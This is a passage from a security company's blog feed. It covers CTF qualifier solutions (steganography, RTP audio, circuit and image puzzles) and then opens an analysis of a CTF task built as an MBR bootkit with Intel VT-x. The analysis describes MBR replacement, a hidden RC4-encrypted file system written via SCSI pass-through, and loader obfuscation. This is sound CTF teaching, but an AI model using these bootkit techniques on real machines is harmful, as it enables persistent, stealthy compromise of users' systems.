&lt;i&gt;An example of a file system structure (S is the number of blocks in a directory, Ni is the number of files in the i block, P is the total blocks number, equaling to N0 + … + NS)&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
When the file system is created, all the data is modified (Base64 modification) and recorded to a two-dimensional array by a special formula, and all the spare space is filled with pseudorandom numbers, and a BMP file is created on the basis of this array.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-LGChKQeUxNY/UN1Re-7P2tI/AAAAAAAACVY/ZXhGG6BIwHA/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="47" src="http://1.bp.blogspot.com/-LGChKQeUxNY/UN1Re-7P2tI/AAAAAAAACVY/ZXhGG6BIwHA/s400/5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;The function used for recording data to the array&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The program is written in C++ using STL, OOP, and virtual functions. It makes this application analysis more complicated.&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
The task can be solved in several stages:&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Read the file data into a two-dimensional array (to eliminate redundancy of the BMP format).&lt;/li&gt;
&lt;li&gt;Work out the formula, which will be used to read the data from the two-dimensional array.&lt;/li&gt;
&lt;li&gt;Work out the method used for data conversion and invert the algorithm (modified Base64).&lt;/li&gt;
&lt;li&gt;Brute force the file system PIN.&lt;/li&gt;
&lt;li&gt;Work out the file system structure, write a program to bypass it, and extract all the files (16 in total).&lt;/li&gt;
&lt;li&gt;Compose a sentence from the file names, which will help to receive the flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://www.ptsecurity.ru/download/BoobFs.zip" target="_blank"&gt;Task archive&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Forensics500&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
The participants were provided with network traffic dump in a pcap file containing the flag.&lt;br /&gt;
&lt;br /&gt;
Port 554/udp indicated that it was the RTP stream. And more likely an audio stream.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-MWZHUN5r1gI/UN1SZUOTyNI/AAAAAAAACVo/sm5QmvvoIHY/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="472" src="http://4.bp.blogspot.com/-MWZHUN5r1gI/UN1SZUOTyNI/AAAAAAAACVo/sm5QmvvoIHY/s640/6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Task opened with Wireshark&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Trying to listen to the audio, it becomes evident that music is played against some noise and sometimes more noisy fragments appear. In fact the stream consists of two streams. The RTP &lt;a href="http://tools.ietf.org/html/rfc1889" target="_blank"&gt;specification&lt;/a&gt; describes 1 bit used on the application level and defined by the profile. If this field is set up, then the packet data has a specific feature, by which the traffic can be divided into two streams. Now one of them plays the music, and noises and something like a voice can be heard from the other one. This is the final part of the task. It is necessary to understand noises' nature and eliminate them. We should say that the noise is XOR of the audio data with 0xCC byte.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
There are several ways for further task solution. Here is one of them.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Less noisy parts are more likely silence and noise. Knowing the codec (see the dump), generate your own audio file with silence. Analyzing the stream and your file, it is possible to work out the nature and type of the noise.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
XThe XOR key can be guessed. In this case the final part of the task related to the audio effect is very similar to analog radio tuning. The closer to the correct value, the purer the sound.&lt;br /&gt;
&lt;br /&gt;
As a result, when the noise was eliminated, a woman voice spelled the flag in English.&lt;br /&gt;
&lt;br /&gt;
During the competition the participants were provided with the following hints implying the main solution stages:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;Listen... the strange noise&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;Simple noise over alphabet&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;a?x=b b?x=a x?????&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;PPP &lt;/b&gt;solved the task after the third hint, and some of the participants were very close to solution. Using their own methods for noise elimination, they achieved good results having mistaken by 1 or 2 characters.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://www.ptsecurity.ru/download/FOR500_flag.au" target="_blank"&gt;Task results&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Misc500&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The participants were provided with a binary file for Electronics Workbench — active project, which can be started and debugged.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-6fXYfOOJSnI/UN1TdrEXNrI/AAAAAAAACWQ/aTWwl4jQxWE/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="414" src="http://2.bp.blogspot.com/-6fXYfOOJSnI/UN1TdrEXNrI/AAAAAAAACWQ/aTWwl4jQxWE/s640/7.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Scheme appearance&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The scheme is obfuscated and consists of two parts. The first part includes elements necessary to display the message PHD3 on the indicators. The second (independent) part is an aggregate of 32 binary/decimal/binary-decimal counters, conversion rate of which is a flag character. The hint “Follow the counters” helped to pay attention to the counters. The flag length in the MD5 format is 32 characters in the HEX format, conversion rates of the counters fall in the range [2;15]. A wire with pointers not connected to anything gave a hint to the order of the flag characters.&lt;br /&gt;
&lt;br /&gt;
The team &lt;b&gt;ufologists&lt;/b&gt; tried to submit MD5 differing in a couple of characters from the correct flag 10 minutes prior to the end of PHDays CTF Quals. However, unfortunately, they came short of time for the bug elimination.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
No team could solve the task in the end.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Forensic400&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
The teams were provided with a 512x512-pixel image in the PNG format.&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-as9t6xyrytQ/UN1WBzR-8JI/AAAAAAAACW4/gdYtKnqmaSw/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-as9t6xyrytQ/UN1WBzR-8JI/AAAAAAAACW4/gdYtKnqmaSw/s320/8.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Task for Forensic 400&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Analyzing the image with any graphics editor, it can be noticed that the image is not of three colors — white and red colors are not homogeneous. The first hint (&lt;i&gt;Not all white pixels are the same white :))&lt;/i&gt; was about this fact. Blackening exposes pixels of almost white and almost red colors.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-9VzrRBnYZlU/UN1WPF8Cp6I/AAAAAAAACXA/GRyrJqpHU4s/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-9VzrRBnYZlU/UN1WPF8Cp6I/AAAAAAAACXA/GRyrJqpHU4s/s320/9.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: RU; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-family: Calibri, sans-serif;"&gt;&lt;span style="font-size: 15px; line-height: 17px;"&gt;&lt;i&gt;Blackening result&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It is obvious that the pixels are orderly allocated. It is difficult to understand/remember/guess what this order is, that is why the second and the most important hint was made (&lt;i&gt;a,b,c,d,e,f,g,h &amp;lt;-&amp;gt; a,e,c,g,b,f,d,h&lt;/i&gt;), which was an example of the bit-reversal permutation. To apply this permutation, it is necessary to ensure that the original sequence equals to the power of two. The image size complies with this condition.&lt;br /&gt;
&lt;br /&gt;
Then it was necessary to &lt;strike&gt;convert in one's head&lt;/strike&gt; write a utility, which would implement permutation described above, and receive the following image at the end:
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-fNJT-YtaD_4/UN1WkkefxUI/AAAAAAAACXI/5FQpBsc7VHE/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-fNJT-YtaD_4/UN1WkkefxUI/AAAAAAAACXI/5FQpBsc7VHE/s320/10.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Permutation result&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Brackets are clearly seen. It means the previous step was correct! However, the text is superimposed. Removing an image part and applying the permutation, we receive a part of the flag:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-bNdxqwbpkWQ/UN1cLlPHdYI/AAAAAAAACXw/0RI_vlsd1bo/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-bNdxqwbpkWQ/UN1cLlPHdYI/AAAAAAAACXw/0RI_vlsd1bo/s320/11.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-a1mQNX7TmSE/UN1chMud-5I/AAAAAAAACX4/cXqgQ277V68/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-a1mQNX7TmSE/UN1chMud-5I/AAAAAAAACX4/cXqgQ277V68/s320/12.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Obtaining the flag part&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Then we only need to find out which parts to remove and obtain other parts of the flag.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-Fj8fexoUdnM/UN1c2jUM9vI/AAAAAAAACYA/AKtRnVKaxx0/s1600/13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-Fj8fexoUdnM/UN1c2jUM9vI/AAAAAAAACYA/AKtRnVKaxx0/s320/13.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-HUVhyBOCpjM/UN1c5YBrkGI/AAAAAAAACYI/2AwwS7gxBA0/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-HUVhyBOCpjM/UN1c5YBrkGI/AAAAAAAACYI/2AwwS7gxBA0/s320/14.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-rbv0Ou02h3g/UN1c9HmLtyI/AAAAAAAACYQ/32Ri1KOVIeM/s1600/15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-rbv0Ou02h3g/UN1c9HmLtyI/AAAAAAAACYQ/32Ri1KOVIeM/s320/15.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Obtaining the other flag parts&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The task was solved by two teams. The first was &lt;b&gt;Magic-Hat (RU)&lt;/b&gt;, then &lt;b&gt;Plaid Parliament of Pwning (US)&lt;/b&gt;. It is only fair to say that bit-reversal permutation was described on the Russian-language resource habrahabr.ru a few months ago, so the results of the team &lt;b&gt;PPP &lt;/b&gt;deserve respect!&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
We published a detailed review of the task BINARY 500, which wasn't solved by any team, &lt;a href="http://blog.phdays.com/2012/12/phdays-ctf-quals-binary-500-or-hiding.html" target="_blank"&gt;in our blog&lt;/a&gt; a few days ago.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
You can review the participants' reports to know how they coped with the tasks:&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;a href="http://ppp.cylab.cmu.edu/wordpress/?p=1076%C2%A0" target="_blank"&gt;http://ppp.cylab.cmu.edu/wordpress/?p=1076&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://ctftime.org/event/56/tasks/"&gt;https://ctftime.org/event/56/tasks/&lt;/a&gt; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://lobotomy.me/2012-12-17-phdays2012-quals---pwn100-writeup/"&gt;http://lobotomy.me/2012-12-17-phdays2012-quals---pwn100-writeup/&lt;/a&gt; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://lobotomy.me/2012-12-17-phdays2012-quals---pwn400-writeup/"&gt;http://lobotomy.me/2012-12-17-phdays2012-quals---pwn400-writeup/&lt;/a&gt; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://blog.sergeybelove.ru/ctf/426"&gt;http://blog.sergeybelove.ru/ctf/426&lt;/a&gt; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://blog.ipwned.it/phdaysctf-2012-realworld-200-2/"&gt;http://blog.ipwned.it/phdaysctf-2012-realworld-200-2/&lt;/a&gt; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://blog.ipwned.it/phdaysctf-2012-misc200/"&gt;http://blog.ipwned.it/phdaysctf-2012-misc200/&lt;/a&gt; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://smokedchicken.org/2012/12/phdays-ctf-quals-2013-real-world-500.html"&gt;http://smokedchicken.org/2012/12/phdays-ctf-quals-2013-real-world-500.html&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://bitsmash.wordpress.com/tag/phdays/"&gt;http://bitsmash.wordpress.com/tag/phdays/&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://f00l.de/blog/?tag=phdays"&gt;http://f00l.de/blog/?tag=phdays&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://kmkz-web-blog.blogspot.ru/"&gt;http://kmkz-web-blog.blogspot.ru/&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://f00l.de/blog/?tag=phdays"&gt;http://f00l.de/blog/?tag=phdays&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://yw720.net/382"&gt;http://yw720.net/382&lt;/a&gt;&lt;br /&gt;
&lt;a href="https://gist.github.com/4317091#comment-653658"&gt;https://gist.github.com/4317091#comment-653658&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/12/labyrinth-noise-elimination-circuit.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-B0vKrzLO9Qw/UN1R1EoN18I/AAAAAAAACVg/6H2q9ssoPjk/s72-c/1.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-3017728025282371335</guid><pubDate>Thu, 27 Dec 2012 07:51:00 +0000</pubDate><atom:updated>2012-12-27T00:08:37.607-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">MBR Bootkit</category><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">Intel VT-x</category><category domain="http://www.blogger.com/atom/ns#">bootkit</category><title>PHDays CTF Quals – BINARY 500 or Hiding Flag Six Feet Under (MBR Bootkit + Intel VT-x)</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
PHDays CTF Quals took place on December 15-17, 2012. More than 300 teams participated in this event and fought to become a part of PHDays III CTF, which is going to be held in May 2013. Our team had been developing the tasks for this competition for two months. And this article is devoted to the secrets of one of them – Binary 500. This task is very unusual and hard-to-solve, so nobody could find its flag.&lt;br /&gt;
&lt;br /&gt;
This executable file is an MBR bootkit, which uses hardware virtualization (Intel VT-x). Due to the program’s specific features, we decided to warn users that this program should be executed on a virtual machine or an emulator only.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-OT2M5SHX8G8/UNv93_AfIZI/AAAAAAAACSU/SlikvZFMIwg/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://4.bp.blogspot.com/-OT2M5SHX8G8/UNv93_AfIZI/AAAAAAAACSU/SlikvZFMIwg/s640/11.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;&amp;nbsp;Warning and license agreement&lt;/i&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Dropper&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Let’s start with the dropper overview. The main goal of this module is very simple. It is to write files extracted from a resource section into a self-made hidden file system and replace original MBR with a self-made one. It also saves original MBR in the file system. There are few things, which complicate the dropper analysis. First of all, it is written in C++ using STL, OOP, and virtual functions. That’s why all the calls are indirect.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-GxoL6Ew2FBk/UNvwZTFmdOI/AAAAAAAACPU/-n2rjWEvKDo/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="70" src="http://4.bp.blogspot.com/-GxoL6Ew2FBk/UNvwZTFmdOI/AAAAAAAACPU/-n2rjWEvKDo/s640/2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-9jqeWyqnN-o/UNvwct23vyI/AAAAAAAACPc/QQEEnUaGFmw/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-9jqeWyqnN-o/UNvwct23vyI/AAAAAAAACPc/QQEEnUaGFmw/s640/3.png" width="428" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;&amp;nbsp;Virtual function calls in IDA Pro&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Secondly, all the disk operations are carried out via the SCSI controller. Instead of the usual ReadFile/WriteFile functions, we use DeviceIoControl with the control code SCSI_PASS_THROUGH_DIRECT, which allows us to communicate with the hard drive on a lower level.&lt;br /&gt;
&lt;br /&gt;
All the files from the resources are encrypted using RC4 and a 256-bit key.&lt;br /&gt;
&lt;br /&gt;
The next thing is the hidden file system. Its structure is pretty simple. The system grows from the end and is written two sectors before the end of the hard drive. First DWORD is a number of files XORed with constant 0x8FC54ED2. Then a directory with information about the files goes:&lt;br /&gt;
&lt;pre style="background-color: white;"&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;struct&lt;/span&gt; MiniFsFileEntry
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; fileIndex&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; fileOffset&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; fileSize&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;&lt;/pre&gt;
The file index is just a constant related to a specific file. Offset is counted in bytes relative to the file system start.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-HXv_tB_tItM/UNvwtw_NPdI/AAAAAAAACPk/JLUYlsRiN64/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="130" src="http://1.bp.blogspot.com/-HXv_tB_tItM/UNvwtw_NPdI/AAAAAAAACPk/JLUYlsRiN64/s640/4.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&amp;nbsp;&lt;i style="text-align: center;"&gt;MiniFs file system structure&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;MBR&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
After the dropper ends its operation, it becomes obvious that we have nothing left to do with the operating system and just need to reboot and start debugging the master boot record. There are several ways to debug MBR. There’s no doubt we can analyse it on a real machine using a hardware debugger, but it’s inconvenient and expensive. That is why we recommend to use the VMWare virtual machine (you need to configure an image configuration file at first) connecting to it with the help of the GDB debugger (this method has significant drawbacks, which will be described later) or the Bochs emulator. The main advantage of these methods is that you can use the IDA Pro debugger for analysis and it’s very convenient!&lt;br /&gt;
&lt;br /&gt;
Having chosen our instruments, we are able to get started. The first part of MBR is really simple, and there shouldn’t be any problems with its analysis. It only reads the second part of our MBR (Extended MBR) from the hard drive and writes it to the memory at address 0x7e00 (right after the first part). This operation is important because BIOS maps just the first 512 bytes of MBR and our code exceeds this size.&lt;br /&gt;
&lt;br /&gt;
Analyzing extended MBR, a good specialist will immediately understand that something is wrong, namely that the loader is obfuscated.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-2U7Hkg-cQ6Q/UNvw6Kfjw2I/AAAAAAAACPs/q6Nd0DOemoM/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="516" src="http://3.bp.blogspot.com/-2U7Hkg-cQ6Q/UNvw6Kfjw2I/AAAAAAAACPs/q6Nd0DOemoM/s640/5.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Comparison of MBR source code with the IDA Pro analysis&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Obfuscation is complicated mainly by indirect function calls. At the very beginning AX registers the address of a function, which scans a specific table (containing function indexes and related offsets) to get the offset of a function to be called. After the function is fulfilled, the control is returned right after the function index constant (return address + 2).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-a670y4TG3zs/UNvydHWC9RI/AAAAAAAACQQ/oCC8y3VDNNo/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" src="http://1.bp.blogspot.com/-a670y4TG3zs/UNvydHWC9RI/AAAAAAAACQQ/oCC8y3VDNNo/s640/6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;Function table in MBR&lt;/i&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-7hfi-yIbi4k/UNvyjku2kGI/AAAAAAAACQY/N00Y5Imv7EQ/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-7hfi-yIbi4k/UNvyjku2kGI/AAAAAAAACQY/N00Y5Imv7EQ/s640/7.png" width="630" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;MBR obfuscation algorithm&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
MBR code is pretty simple:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Retrieves hard drive features.&lt;/li&gt;
&lt;li&gt;Reads original MBR from the hidden file system.&lt;/li&gt;
&lt;li&gt;Replaces our MBR with original MBR at the 0x7c00 address.&lt;/li&gt;
&lt;li&gt;Reads and decrypts a hypervisor loader from the file system.&lt;/li&gt;
&lt;li&gt;Reads and decrypts a hypervisor body from the file system.&lt;/li&gt;
&lt;li&gt;Prepares parameters and passes control to the hypervisor loader.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
